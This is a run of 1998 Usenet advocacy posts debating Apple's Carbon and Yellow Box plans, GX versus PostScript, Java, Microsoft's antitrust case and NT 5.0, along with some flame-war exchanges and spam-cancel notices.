>the noise?
In csma? Do you read csma, or just the crossposted stuff?
--
Whenever you find that you are on the side of the majority, it is time
to reform.
-- Mark Twain
From: rmcassid@uci.edu (Robert Cassidy)
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: So THAT is the OS stratetgy?
Date: Wed, 10 Jun 1998 11:18:37 -0700
Organization: UC Irvine, School of Engineering
Message-ID: <rmcassid-1006981118370001@dante.eng.uci.edu>
References: <pulsar-ya02408000R1105981436070001@news-proxy.cso.uiuc.edu> <6jchjg$9nl$1@interport.net> <355AEC05.AB097DC4@milestonerdl.com> <6jfe60$7cj$1@crib.bevc.blacksburg.va.us> <Steve.Hideg.1-ya02408000R0406982317390001@news.nd.edu> <joe.ragosta-0506981532510001@wil62.dol.net> <*johnnyc*-0706981909230001@jchristie.halifaxcable.dal.ca> <357B5603.64B3977E@milestonerdl.com> <rmcassid-0806980011510001@dialin9080.slip.uci.edu> <357C11AF.D1BF8149@technologist.com> <rmcassid-0806981246400001@dante.eng.uci.edu> <X1Ze1.12108$Kx3.12302890@news.rdc1.sdca.home.com> <rmcassid-0806981539290001@dante.eng.uci.edu> <*johnnyc*-1006980948580001@mac49-38.psychology.dal.ca>
In article <*johnnyc*-1006980948580001@mac49-38.psychology.dal.ca>,
*johnnyc*@or.psychology.dal.ca (John Christie) wrote:
>In article <rmcassid-0806981539290001@dante.eng.uci.edu>, rmcassid@uci.edu
>(Robert Cassidy) wrote:
>> Q) Apple is engaging in development of new APIs. Are they Carbon APIs? Are
>> they YB? Are they both?
>
> They are doing some of both.
I wish they would make it more clear what development is going to what
community.
>>All oars should be pulling in the same direction here...
>
> But they can't because Apple cannot force some of it's key developers
>to use it's favorite technology. At least it is Job's and Tevanian's
>favorite.
But they should create incentives for those key developers to move to it's
favorite technology. If not, they will have two APIs forever. Provide
Carbon to get them to a platform where YB is available. Then tell them
that new APIs are easier to get to from YB. Help them do it in steps. At
some point they will determine that it is more efficient to jump to YB
than to keep hacking away with Carbon trying to get to YB services.
>> Q) If they are Carbon based (as I understand is the case), then how can YB
>> developers rely on their presence (unless Carbon itself becomes
>> cross-platform)?
>
> YB developers will program in YB. They can't count on Carbon APIs on
>Windows yet, why would they need to count on them in OSX. YB will change
>but it will not rely on other API's (or it wouldn't really be YB
>anymore). The graphics model may need to be ported but that really is
>more of a reinterfacing of DPS code than a rewrite.
So unless Apple decides to support MacOS X on DR1 capable hardware, or to
provide some Carbon+MacOS X services backward support to Rhaposdy, then a
lot of my Apple hardware dead-ends with Rhapsody. I don't even know if
I'll get upgrades to YB since 1.0 is the end of the line. Many, many
unanswered questions...
>> Again, something is missing here. The problem is that the introduction of
>> Carbon is very good, but incomplete long-term. Carbon will not allow MacOS
>> X to advance in any efficient, innovative way and at the same time, MacOS
>> X will never gain adoption to even have a chance at advancing without it.
>
> How will MacOS X adoption be slower than Rhapsody?
It won't, but that also doesn't mean that MacOS X adoption is guaranteed.
I'm not sure what Apple is offering developers for going to MacOS X? A new
place to run their apps. Fine. But as Apple offers up APIs, will we only
have half of the apps out there able to take advantage of them depending
on whether they are Carbon or YB? A lot of developers out there want
additional APIs to make their lives easier and to help get sales. I'm not
sure to what extent Apple will be able to deliver on that.
> But, it should be very interesting to Windows and Mac programmers who
>want to do true OO programming in a popular language. Don't get Java the
>project, promise, complete API come time in the future, confused with Java
>the language in this case.
I'm not. How many people are interested in Java the language as opposed to
Java the enironment? I *thought* the interest was in the latter, not the
former. Am I wrong?
>> To existing Mac developers, they get their same old junk on a platform
>> that is more stable, but no bigger than what they had. BFD. That's not
>> overly interesting to the Mac world, IMO.
>
> What same old junk? Look at the Carbon API. It is much better than
>the ToolBox in many important ways. Try reentrant for example. No one
>said the entire Mac ToolBox was a mess, only that it became a mess in the
>many crappy APIs one needs to use, most of those are being eliminated.
>OT, QT, Nav services, etc. are not a mess and not crappy.
Half of the time developers sell upgrades not based on what *they*
improve, but what they add support for that the OS vendor improves. So
Apple needs to deliver something to the OS vendor that they can sell to
customers. Carbon itself is indeed such a thing. What then? I'd spend a
lot of money for EOF hooks for Filemaker. I don't think that will happen
given the current Carbon/YB division. And if the consumer level APIs like
Nav Services are for Carbon apps only, then the incentive to create YB
versions starts to go away.
-Bob Cassidy
From: "VHA PC Development" <codifex@airmail.net>
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Date: 10 Jun 1998 18:17:17 GMT
Organization: VHA Inc.
Message-ID: <01bd949c$de9bbf80$8383050a@bgravitt.CORP.VHA.COM>
References: <6j2m0f$m0c$3@ligarius.ultra.net> <6k6rm6$nkn$5@ligarius.ultra.net> <3578a103.7795788@news.supernews.com> <6kkgk9$2h7$2@gte1.gte.net> <6kl05l$k1$1@inconnu.isu.edu> <slrn6mtk1e.2rc.jedi@dementia.mishnet> <uWKsMaFl9GA.268@upnetnews02.moswest.msn.net>
Tim Hawkins <TimHawkins@email.msn.com> wrote in article
<uWKsMaFl9GA.268@upnetnews02.moswest.msn.net>...
>
> jedi wrote in message ...
> >On 28 May 1998 18:40:21 -0600, Craig Kelley <ink@inconnu.isu.edu> wrote:
> >>In article <6kkgk9$2h7$2@gte1.gte.net>, Roger <rfelts@.> wrote:
> >>
> >> [ snip about how third-party browsers are not usable due to IE
> integration ]
> >>
> >>->Which functionality is modular, and could be replaced with another
> >>->.DLL which exposes the same interfaces. Which interfaces are
publicly
> >>->documented.
> >>
> >>Too much trouble; see other responses in this thread.
> >
> > Simply replacing whole applications, is much more
> > modular and less system specific. The Apps programmer
> > doesn't have to bother themselves with the details
> > of the abstraction. The other app can handle all of
> > that and include as much or as little functionality
> > (even from DLLs) as may be wanted.
>
> But not nearly so flexible, the IE HTML rendering engine, not only
exposes
> the interfaces that allow instaniation of a rendering
> view inside your app, and external navigation controls so you can fill it
Your use of the word flexible is curious. Flexible, in my book, means that
it'll bend. i.e. It's not cast in stone and unchangeable by someone other
than the one who created it. Try to use undocumented interfaces without
paying a toll to the Microsoft troll and you may be facing legal action;
curious when I hear that MS is using those same undocumented interfaces
freely in their own apps. Somebody post an example. Also, IE's being
integrated as a *service* gives Microsoft nearly complete control over the
casual user's internet experience effectively shutting out any competition.
Yes, it may be easier for you as a developer (that's for you to decide)
but just remember, almost all your technology comes from one place -
Microsoft yet there is a whole world outside of Redmond, WA for LINUX to
benefit from.
Let me ask you a question. If D/COM is the panacea that you seem to think
it is, how often do you get cryptic D/COM error messages? If often, then
how do you like them? While an admirable attempt, the very basic design of
D/COM is flawed just as in the DLL situation. The very success of the
model depends on everyone being nice and helping to maintain reference
counts and usage guidelines. (A tenuous supposition at best.) I'm not
against object models and shared libraries but to put them up as "Ready for
Primetime" when they most assuredly are NOT is unconscionable.
> with HTML data, they also expose the internal render's
> parse tree of the HTML so you can dynamicaly alter the view after it has
> been rendered and dynamicaly rerender parts of it.
> In the furure it is quite probable that MS will drop the "resource"
format
> for dialogs and substitute DTHML instead.
> The lastest "preview" version of all of thier development tools have
added
> an "HTML" resource type to the resource editor.
>
> The Preview version of VC++ with the IE4 extensions, allows full access
to
> the Document object model allowing DHTML to be used
> for creating rich dialogs and forms for applications that are attached to
> VC++, Java and Visual Basic code. Such dialogs would
> have full access to DHTML, CSS and DirectAnimation.
>
>
Evidently, you wont be able to get very far developing applications from
now on (in Windows) without using Microsoft's proprietary development
environments or buying their software development kits now will you.
Whereas before, a company could write software for the free Internet
without having to specifically purchase Microsoft development tools to do
it. There goes more competition out the door. If Microsoft continues down
their present path of exclusionary tactics then eventually they will
alienate you too. See you soon.
It's not our operating system anymore...It's Microsoft's.
--
=======================================
codifex@airmail.NOSPAM.net
bgravitt@vha.NOSPAM.com
=======================================
My opinions are mine alone - though others may borrow...
From: mmalcolm crawford <malcolm@plsys.co.uk>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: GX vs PS (was Re: Howabout Something Better than what we have
Date: 10 Jun 1998 18:22:11 GMT
Organization: P & L Systems
Message-ID: <6lmisj$to$5@ironhorse.plsys.co.uk>
References: <6lkh74$m9t$2@ironhorse.plsys.co.uk> <B1A31F69-125386@206.165.43.79>
<slrn6nrlp3.515.jason@jhste1.dyn.ml.org> <6llfke$m9t$5@ironhorse.plsys.co.uk>
<slrn6nta3c.8da.jason@jhste1.dyn.ml.org> <6lme12$to$1@ironhorse.plsys.co.uk>
<slrn6ntj3v.g7.jason@jhste1.dyn.ml.org>
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Cc: jason@jhste1.dyn.ml.org
In <slrn6ntj3v.g7.jason@jhste1.dyn.ml.org> Jason S. wrote:
> mmalcolm crawford posted the following to comp.sys.mac.advocacy:
>
> >> Considering the attacks on Lawson coming from the csna side of these
> >> crossposted threads - pot, kettle, black.
>
> >Judging by the thanks I've received over the years I think I can say
without
> >boasting that I've already contributed plenty of constructive comments to
> >this group (csna, and more recently csma) -- I don't recall any from you.
Do
> >you have anything useful to say, or are you just going to continue to add
to
> >the noise?
>
> In csma?
>
csna -- that's the current context.
mmalc.
Subject: Re: Java Java Java (was Re: So THAT is the OS stratetgy?)
From: "Robert A. Decker" <comrade@umich.edu>
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
nntp://news.itd.umich.edu/comp.sys.mac.advocacy,
nntp://news.itd.umich.edu/comp.sys.next.advocacy
References: <357EA04A.A0B5209F@nstar.net>
MIME-Version: 1.0
Message-ID: <B1A44D25-4516E3@141.214.128.36>
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
Date: Wed, 10 Jun 1998 18:43:48 GMT
NNTP-Posting-Date: Wed, 10 Jun 1998 14:43:48 EDT
On Wed, Jun 10, 1998 10:03 AM, Michael J. Peck <mailto:mjpeck@nstar.net>
wrote:
> The second, StringBuffer, is a string variable,
> as its name implies.
My point is that StringBuffer doesn't inherit from String. If I want to
check if I have a string I have to do two checks, one for StringBuffer and
one for String. They probably made String a final class for performance
reasons, but it's still a pain-in-the-ass...
rob
--
<mailto: "Robert A. Decker" comrade@umich.edu>
<http://hmrl.cancer.med.umich.edu/Rob/index.ssi>
Programmer Analyst - Health Media Research Lab
University of Michigan Comprehensive Cancer Center
"Get A Life" quote #12: "Are you nuts kid? I'm not telling you to forget
her! I gave up on that major babe and look what it got me. Seventeen beers
a night and a nudie magazine bill that could pay for a shiny new trailer
home!"
-Chris Elliott
From: petrich@netcom.com (Loren Petrich)
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
Subject: rm <petrichEuC1E2.E5u@netcom.com>
Control: cancel <petrichEuC1E2.E5u@netcom.com>
Date: Wed, 10 Jun 1998 18:55:25 +0100
Organization: Netcom
Sender: petrich@netcom11.netcom.com
Message-ID: <cancel.petrichEuC1E2.E5u@netcom.com>
References: <petrichEuC1E2.E5u@netcom.com>
By this advisory message, hweede@snafu.de recommends the local removal
of a spam whose Breidbart index is 29.
The above header does not state who has issued this message
or the spam itself. DO NOT REPLY TO ANY OF THESE ADDRESSES.
See report "petrichcom-06101855" in news.lists.filters.
Subject was: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
From: petrich@netcom.com (Loren Petrich)
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
Subject: rm <petrichEuC1In.ECu@netcom.com>
Control: cancel <petrichEuC1In.ECu@netcom.com>
Date: Wed, 10 Jun 1998 18:55:25 +0100
Organization: Netcom
Sender: petrich@netcom11.netcom.com
Message-ID: <cancel.petrichEuC1In.ECu@netcom.com>
References: <petrichEuC1In.ECu@netcom.com>
By this advisory message, hweede@snafu.de recommends the local removal
of a spam whose Breidbart index is 29.
The above header does not state who has issued this message
or the spam itself. DO NOT REPLY TO ANY OF THESE ADDRESSES.
See report "petrichcom-06101855" in news.lists.filters.
Subject was: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
From: jrudd@cygnus.com (John Rudd)
Newsgroups: comp.sys.next.hardware,comp.sys.next.advocacy
Subject: New Popular Science
Date: 10 Jun 1998 18:06:47 GMT
Organization: Cygnus Solutions
Message-ID: <6lmhvn$k2i$2@cronkite.cygnus.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Got my new issue of PS in the mail the other day.. in their section
previewing new high tech products, they mention a great new idea in personal
computing:
Someone is about to release a PC in a fashionable black cube!
Wow, the innovation in the PC market will never cease to amaze me..
(though, might be a great place to run Rhapsody...)
--
John "kzin" Rudd jrudd@cygnus.com http://www.cygnus.com/~jrudd
Intel: Putting \"I want a pair of Daisy Eagle semi-auto paintball pistols
the backward in \in shoulder rigs. Who cares if you win the game as long
backward compatible\as you can John Woo as you dive over obstacles?" - anon
From: "A. J. LaSalle" <alasalle@ctron.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Skip NT 5.0
Date: Wed, 10 Jun 1998 14:15:56 -0400
Organization: Cabletron Systems Inc.
Message-ID: <357ECD5C.15FB7483@ctron.com>
References: <6lk75t$afl@newsb.netnews.att.com>
Mime-Version: 1.0
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gupta@kcopsrm.tm.tta.moc-mirror, after, @ wrote:
>
> Finally, Rob Enderle says something, that makes sense, IMO.
> -arun gupta
>
> http://www.infoworld.com/cgi-bin/displayStory.pl?98068.wcntskip.htm
>
> Analysts at GigaWorld say skip NT 5.0
>
> Quote :
> With 30 million lines of code, 85 percent of which is new,
> Windows NT 5.0 is likely to be buggy, said Rob Enderle,
> director of desktop and mobile technology at Giga....
>
> "It's too complex and too new," Enderle said.
> "Even inside Microsoft, there's a realization that the product
> won't ramp to volume till NT 6.0 because of the fear of initial
> releases."
>
> Enderle advised waiting until service pack 3, or NT 5.5, which
> could be out a year or so after NT 5.0
>
> End quote.
Well, MacOSX will be shipping with millions of lines of new code!
And will be adding alot of complexity with a new kernel, and
MacOS8, MacOSX, openStep apis, BSD, etc. sitting on top of it.
The real proof is in how well its done. I wouldn't judge NT5.0
or MacOSX by the number of lines of code. I'm sure the x.0 releases
of both will have their share of problems.
So for, IMO, the MacOS didn't wasn't a quality product to
7.6.1 or 8.1, NT wasn't up to snuff this SP3. I think that
both companies have gotten savvier about the need to produce
quality products and will like get the production version
of each product into decent shape within a short time of
release. Then again....one never knows for sure when it
comes to softwre.
I won't upgrade to either to the first fixes are out for each OS
(assuming I have or buy the right hardware for OSX).
AJ LaSalle
--
Winston Churchill's six words on how to succeed - "Never, never, never,
never, give up."
From: NOSPAMmbkennelNOSPAM@yahoo.com (Matt Kennel)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: GX vs PS (was Re: Howabout Something Better than what we have
Date: 10 Jun 1998 18:57:01 GMT
Organization: University of California at San Diego
Message-ID: <slrn6ntlnt.aer.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu>
References: <6lbo1a$m4i$1@news.cs.tu-berlin.de> <slrn6np2pe.2vc.jason@jhste1.dyn.ml.org> <6livgp$9m9$2@ns3.vrx.net> <6lkmp9$bjf$1@supernews.com> <6lkri9$dj5$1@crib.corepower.com> <6ll2ub$pn8$3@supernews.com>
On 10 Jun 1998 04:43:55 GMT, John C. Randolph wrote:
:Well, speaking as one who has managed those kind of extensive professional
:security audits, (I used to be the Data Security Manager for KPMG Peat
:Marwick's Electronic Commerce group) I'd still put my money on the
:Open-source OS that's most *widely* used and scrutinized.
Linux might certainly be the most widely used, but it's not obvious it's the
most widely scrutinized. One professional security auditor looking at the
source code is worth 10^(a fair number) of hackers having fun.
Users just use the programs without careful scrutiny.
btw, I'm a Linux user myself, not BSD.
--
* Matthew B. Kennel/Institute for Nonlinear Science, UCSD -
* "People who send spam to Emperor Cartagia... vanish! _They say_ that
* there's a room where he has their heads, lined up in a row on a desk...
* _They say_ that late at night, he goes there, and talks to them... _they
*- say_ he asks them, 'Now tell me again, how _do_ you make money fast?'"
From: Stephen Peters <portnoy@ai.mit.edu>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: GX vs PS (was Re: Howabout Something Better than what we have
Date: 10 Jun 1998 14:17:06 -0400
Organization: Massachvsetts Institvte of Technology
Sender: portnoy@ANTI-MATTER
Message-ID: <uwwapf7fh.fsf@ai.mit.edu>
References: <B1A31F69-125386@206.165.43.79> <B1A32350-133E43@206.165.43.79> <slrn6nrmih.526.jason@jhste1.dyn.ml.org> <6llf9k$m9t$3@ironhorse.plsys.co.uk> <slrn6nt9ob.8da.jason@jhste1.dyn.ml.org>
jason@jhste1.dyn.ml.org (Jason S.) writes:
> mmalcolm crawford posted the following to comp.sys.mac.advocacy:
>
>> That's what we keep asking. We don't want him to. A year ago we
>> started to ask if he would, please, stop posting in
>> comp.sys.next.advocacy because the debate was no longer
>> interesting, and his ignorance or wanton mendacity about
>> DPS/OPENSTEP was becoming more than tiresome.
>
> So killfile him and get over it.
I would. Indeed, in the past I have. I finally decided it was better
to just ignore him for the most part, but read him, because every once
in a while he manages to post blatantly wrong information, which needs
correcting. Witness his recent misconception on the emulation of
cubic curves using GX's quadratics -- horrendous information based on
a slipshod reading of a spline text.
> >> They will never actually read your posts and respond intelligently;
>
>> Drivel; there have been numerous well-considered highly informative
>> retorts to Lawson's posts. I defy you to prove otherwise. Your
>> accusation is false and obnoxious -- you owe us an apology.
>
> Perhaps an exaggeration in my part, but there have been an awful lot
> of insults aimed at Lawson of late. And I don't feel that I owe you
> an apology.
Of course you don't; you're new. I encourage you to go through
DejaNews and read what we've all written in response to Lawson.
You'll find it starts out helpful with his misconceptions, and after
about 6 months begins to get fairly weary, when we all began to wonder
if he was actually reading what we wrote.
As for the insults; well, there are always going to be a few people
who react badly after a year and a half or argument. I suggest you
not lump all of what you call the "NeXT-is-best" gang into that boat.
> So killfile him. Don't swamp csma with anti-Lawson flames.
>
> >> So flame back - that's the only solution. [...]
Does anyone else find these two remarks really interesting next to
each other like this? He apparently only wants to read flames in one
direction. :-)
>> We have all at some time or another admitted faults or failings in
>> NeXT's offerings.
>
> Faults compared to some mythical ideal, or faults compared to another
> shipping OS?
Compared to shipping OSes. What, you think we only find NeXT lacking
when we compare it with Star Trek? Again, you might try reading some
of what we've posted in the past. You might find a lot of rational
discussions. You'll even find a post or two from me extolling the
virtues of GX typography, when Lawson was doing a really bad job of
extolling them himself.
--
Stephen L. Peters portnoy@ai.mit.edu
PGP fingerprint: BFA4 D0CF 8925 08AE 0CA5 CCDD 343D 6AC6
"Poodle: The other white meat." -- Sherman, Sherman's Lagoon
From: ben@ben.tapehouse.net (Ben Rosengart)
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Date: 10 Jun 1998 19:57:40 GMT
Organization: echonyc.com
Message-ID: <slrn6ntpf8.q83.ben@ben.tapehouse.net>
References: <6j9ac3$tnp$1@ligarius.ultra.net> <rmcassid-1205982352010001@dialin33423.slip.uci.edu> <6jk64c$vo9$1@strato.ultra.net> <rmcassid-1805981307530001@dante.eng.uci.edu> <tvyg1i6unnj.fsf@cn1.connectnet.com> <6jtgie$vp6$6@ligarius.ultra.net> <35d0ab0c.360543981@news.supernews.com> <6k6tda$omk$1@ligarius.ultra.net> <357a9125.86089126@news.supernews.com> <6l72if$mp9$1@news.smart.net> <6lfsck$1vga@yuma.ACNS.ColoState.EDU> <357C032E.C373357D@nstar.net> <3591af5a.5318472@news.supernews.com> <357DEB64.6B62@CONVEX.COM>
Cache-Post-Path: echo2.echonyc.com!ben@ben.tapehouse.net
In article <357DEB64.6B62@CONVEX.COM>, Michael Peck wrote:
>T. Max Devlin wrote:
>
>> I don't understand where you got this argument. Anti-trust has nothing
>> to do with benefits or losses to other businesses directly.
>
>Really? The DoJ briefing seems to indicate otherwise.
Legal proceedings often seem to focus on irrelevancies; it's a function of
their complexity. Much like computer programs.
--
Ben
"You have your mind on computers, it seems."
From: ben@ben.tapehouse.net (Ben Rosengart)
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Date: 10 Jun 1998 20:03:32 GMT
Organization: echonyc.com
Message-ID: <slrn6ntpq7.q83.ben@ben.tapehouse.net>
References: <rmcassid-1205982352010001@dialin33423.slip.uci.edu> <6jk64c$vo9$1@strato.ultra.net> <rmcassid-1805981307530001@dante.eng.uci.edu> <tvyg1i6unnj.fsf@cn1.connectnet.com> <6jtgie$vp6$6@ligarius.ultra.net> <35d0ab0c.360543981@news.supernews.com> <6k6tda$omk$1@ligarius.ultra.net> <357a9125.86089126@news.supernews.com> <6l72if$mp9$1@news.smart.net> <6lfsck$1vga@yuma.ACNS.ColoState.EDU> <357C032E.C373357D@nstar.net> <6lhoug$2jua@yuma.ACNS.ColoState.EDU> <357C76BF.721F47E9@nstar.net> <3592b27c.6120162@news.supernews.com> <357DEE3F.5672@CONVEX.COM> <rmcassid-1006980005070001@dialin9155.slip.uci.edu>
Cache-Post-Path: echo2.echonyc.com!ben@ben.tapehouse.net
In article <rmcassid-1006980005070001@dialin9155.slip.uci.edu>, Robert
Cassidy wrote:
>
>Personally, I don't see Intel as a problem.
I don't feel as strongly about them as I do about Microsoft for the simple
reason that using their products isn't usually like pulling teeth.
--
Ben
"You have your mind on computers, it seems."
From: ben@ben.tapehouse.net (Ben Rosengart)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: GX vs PS (was Re: Howabout Something Better than what we have
Date: 10 Jun 1998 19:46:48 GMT
Organization: echonyc.com
Message-ID: <slrn6ntoqt.q83.ben@ben.tapehouse.net>
References: <35796BDB.2AEDD69@trilithon.com> <B19EBDA9-1BDD5@206.165.43.115> <6levgb$adf$10@ironhorse.plsys.co.uk> <ldo-1006981707060001@a53.hn3.wave.co.nz> <6llk0a$hs1$5@ns3.vrx.net>
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In article <6llk0a$hs1$5@ns3.vrx.net>, Maury Markowitz wrote:
>In <ldo-1006981707060001@a53.hn3.wave.co.nz> Lawrence D¹Oliveiro claimed:
>> problem of the lack of device independence of PostScript
>
> Everyone here, read that last portion over and over.
I read it three times, and it still doesn't make sense to me. Help!
--
Ben
"You have your mind on computers, it seems."
From: ben@ben.tapehouse.net (Ben Rosengart)
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Date: 10 Jun 1998 20:00:55 GMT
Organization: echonyc.com
Message-ID: <slrn6ntplb.q83.ben@ben.tapehouse.net>
References: <rmcassid-1205982352010001@dialin33423.slip.uci.edu> <6jk64c$vo9$1@strato.ultra.net> <rmcassid-1805981307530001@dante.eng.uci.edu> <tvyg1i6unnj.fsf@cn1.connectnet.com> <6jtgie$vp6$6@ligarius.ultra.net> <35d0ab0c.360543981@news.supernews.com> <6k6tda$omk$1@ligarius.ultra.net> <357a9125.86089126@news.supernews.com> <6l72if$mp9$1@news.smart.net> <6lfsck$1vga@yuma.ACNS.ColoState.EDU> <357C032E.C373357D@nstar.net> <6lhoug$2jua@yuma.ACNS.ColoState.EDU> <357C76BF.721F47E9@nstar.net> <3592b27c.6120162@news.supernews.com> <357DEE3F.5672@CONVEX.COM>
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In article <357DEE3F.5672@CONVEX.COM>, Michael Peck wrote:
>
>The crux of the case is that Microsoft's practices have
>somehow transgressed an invisible line left up to the determination of
>the sitting administration.
That's part of what judges are paid for: determining when someone has
stepped over an invisible line.
--
Ben
"You have your mind on computers, it seems."
From: gupta@kcopsrm.tm.tta.moc-mirror after @
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: GX vs PS (was Re: Howabout Something Better than what we have
Date: 10 Jun 1998 19:54:46 GMT
Organization: IMEMYSELF
Sender: Arun Gupta
Message-ID: <6lmoa6$3kd@newsb.netnews.att.com>
References: <B1A31F69-125386@206.165.43.79> <6llf9k$m9t$3@ironhorse.plsys.co.uk> <slrn6nt9ob.8da.jason@jhste1.dyn.ml.org> <6lmejk$to$3@ironhorse.plsys.co.uk>
Originator: gupta@tlctest
mmalcolm crawford <malcolm@plsys.co.uk> wrote:
>Oddly for a supposed
>Apple-advocate, all Lawson seems able to do is knock the company and its
>products.
Perhaps it is one of Microsoft's attempts at natural language processing ?
-arun gupta
From: gupta@kcopsrm.tm.tta.moc-mirror after @
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Skip NT 5.0
Date: 10 Jun 1998 19:38:19 GMT
Organization: IMEMYSELF
Sender: Arun Gupta
Message-ID: <6lmnbb$3gt@newsb.netnews.att.com>
References: <6lk75t$afl@newsb.netnews.att.com> <357ECD5C.15FB7483@ctron.com>
Originator: gupta@tlctest
A. J. LaSalle <alasalle@ctron.com> wrote:
>
>Well, MacOSX will be shipping with millions of lines of new code!
>And will be adding alot of complexity with a new kernel, and
>MacOS8, MacOSX, openStep apis, BSD, etc. sitting on top of it.
>The real proof is in how well its done. I wouldn't judge NT5.0
>or MacOSX by the number of lines of code. I'm sure the x.0 releases
>of both will have their share of problems.
a. Gil Amelio had given a figure of the MacOS being around 5 million
lines of code. (He had said that managing changes in this code
could be a mess; Windows advocates tried using this to their
advantage, ignoring that Windows 95 itself is around 12 million lines.)
So, even if Carbon is entirely new (which I doubt), since it is
80% of the original MacOS APIs, it will be less than 5 million lines.
b. The Mach kernel is not new code; and Apple's version will be
in at least its second release for MacOS X (the first Apple version
of the kernel will be in Rhapsody 1.0).
c. The OpenStep APIs, BSD will not be new code, rather modifications
of existing code, which itself has been around for a long time.
-arun gupta
From: jason@jhste1.dyn.ml.org (Jason S.)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: GX vs PS (was Re: Howabout Something Better than what we have
Date: 10 Jun 1998 20:04:29 GMT
Organization: I don't think so
Message-ID: <slrn6ntq44.148.jason@jhste1.dyn.ml.org>
References: <6lkh74$m9t$2@ironhorse.plsys.co.uk> <B1A31F69-125386@206.165.43.79> <slrn6nrlp3.515.jason@jhste1.dyn.ml.org> <6llfke$m9t$5@ironhorse.plsys.co.uk> <slrn6nta3c.8da.jason@jhste1.dyn.ml.org> <6lme12$to$1@ironhorse.plsys.co.uk> <slrn6ntj3v.g7.jason@jhste1.dyn.ml.org> <6lmisj$to$5@ironhorse.plsys.co.uk>
mmalcolm crawford posted the following to comp.sys.mac.advocacy:
>Do
>> >you have anything useful to say, or are you just going to continue to add
>to
>> >the noise?
>> In csma?
>csna -- that's the current context.
How so? The header has csma too, and that's the one that I'm reading.
--
Whenever you find that you are on the side of the majority, it is time
to reform.
-- Mark Twain
From: jason@jhste1.dyn.ml.org (Jason S.)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: GX vs PS (was Re: Howabout Something Better than what we have
Date: 10 Jun 1998 20:05:45 GMT
Organization: I don't think so
Message-ID: <slrn6ntq6h.148.jason@jhste1.dyn.ml.org>
References: <B1A31F69-125386@206.165.43.79> <B1A32350-133E43@206.165.43.79> <slrn6nrmih.526.jason@jhste1.dyn.ml.org> <6llf9k$m9t$3@ironhorse.plsys.co.uk> <slrn6nt9ob.8da.jason@jhste1.dyn.ml.org> <uwwapf7fh.fsf@ai.mit.edu>
Stephen Peters posted the following to comp.sys.mac.advocacy:
>> Perhaps an exaggeration in my part, but there have been an awful lot
>> of insults aimed at Lawson of late. And I don't feel that I owe you
>> an apology.
>Of course you don't; you're new. I encourage you to go through
>DejaNews and read what we've all written in response to Lawson.
>You'll find it starts out helpful with his misconceptions, and after
>about 6 months begins to get fairly weary, when we all began to wonder
>if he was actually reading what we wrote.
I been here in csma since before the NeXT merger, so I'd hardly
call me "new" to Lawson vs. NeXT.
--
Whenever you find that you are on the side of the majority, it is time
to reform.
-- Mark Twain
From: ben@ben.tapehouse.net (Ben Rosengart)
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: So THAT is the OS stratetgy?
Date: 10 Jun 1998 20:13:54 GMT
Organization: echonyc.com
Message-ID: <slrn6ntqdm.q83.ben@ben.tapehouse.net>
References: <357C11AF.D1BF8149@technologist.com> <rmcassid-0806981246400001@dante.eng.uci.edu <rmcassid-0806981539290001@dante.eng.uci.edu> <6lji4s$pns$1@new-news.cc.brandeis.edu> <slrn6nr3ac.ntc.ben@ben.tapehouse.net> <6lku09$92m$1@supernews.com>
Cache-Post-Path: echo2.echonyc.com!ben@ben.tapehouse.net
In article <6lku09$92m$1@supernews.com>, John C. Randolph wrote:
> Ben Rosengart may or may not have said:
>->
>-> Is this your opinion, or did you borrow it from your prof? Java's no
>-> panacea, true, but Sun did some seriously impressive things with it, and I
>-> wonder why you have such a low view of it.
>
